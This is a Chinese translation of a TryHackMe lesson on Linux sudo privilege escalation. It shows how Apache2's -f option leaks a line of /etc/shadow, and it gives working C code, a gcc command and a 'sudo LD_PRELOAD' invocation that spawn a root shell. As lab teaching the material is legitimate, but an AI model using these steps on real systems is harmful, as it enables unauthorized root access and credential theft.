【THM-课程内容】:Privilege Escalation-Linux Privilege Escalation-Privilege Escalation:Sudo
默认情况下,sudo命令允许您以root权限运行程序。在某些情况下,系统管理员可能需要为普通用户的权限提供一些灵活性。例如,初级SOC分析师可能需要定期使用Nmap,但不会被授予为完全的root访问权限。在这种情况下,系统管理员可以允许该用户仅以root权限运行Nmap,同时在系统的其余部分保持其常规权限级别。
任何用户都可以使用sudo -l命令检查其与root权限相关的当前情况。
https://gtfobins.github.io/(在新选项卡中打开)是一个有价值的来源,它提供了有关如何使用您可能拥有sudo权限的任何程序的信息。
利用应用程序功能
在此上下文中,某些应用程序不会有已知的漏洞利用。您可能会看到这样的应用程序是Apache2服务器。
在这种情况下,我们可以使用“hack”来利用应用程序的功能泄露信息。正如您在下面看到的,Apache2有一个支持加载替代配置文件的选项(-f:指定一个替代ServerConfigFile)。

使用此选项加载/etc/shadow文件将导致一条错误消息,其中包括/etc/shadows文件的第一行。
利用LD_PRELOAD
在某些系统上,您可能会看到LD_PRELOAD环境选项。

LD_PRELOAD是一个允许任何程序使用共享库的函数。这篇博客文章(在新选项卡中打开)将让您了解LD_PRELOAD的功能。如果启用了“env_heep”选项,我们可以生成一个共享库,该库将在程序运行前加载并执行。请注意,如果实际用户ID与有效用户ID不同,LD_PRELOAD选项将被忽略。
此特权升级向量的步骤可以概括如下:;
- 检查LD_PRELOAD(使用env_heep选项)
- 编写一个简单的C代码,编译为共享对象(扩展名.so)文件
- 使用sudo权限和指向.so文件的LD_PRELOAD选项运行程序
C代码只会生成一个根shell,可以编写如下:
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
我们可以将此代码保存为shell.c,并使用以下参数使用gcc将其编译为共享对象文件;
gcc -fPIC -shared -o shell.so shell.c -nostartfiles

现在,我们可以在启动用户可以使用sudo运行的任何程序时使用此共享对象文件。在我们的例子中,Apache2、find或几乎任何可以用sudo运行的程序都可以使用。
我们需要通过指定LD_PRELOAD选项来运行程序,如下所示;
sudo LD_PRELOAD=/home/user/ldpreload/shell.so find
这将导致一个具有root权限的shell生成。

更多推荐



所有评论(0)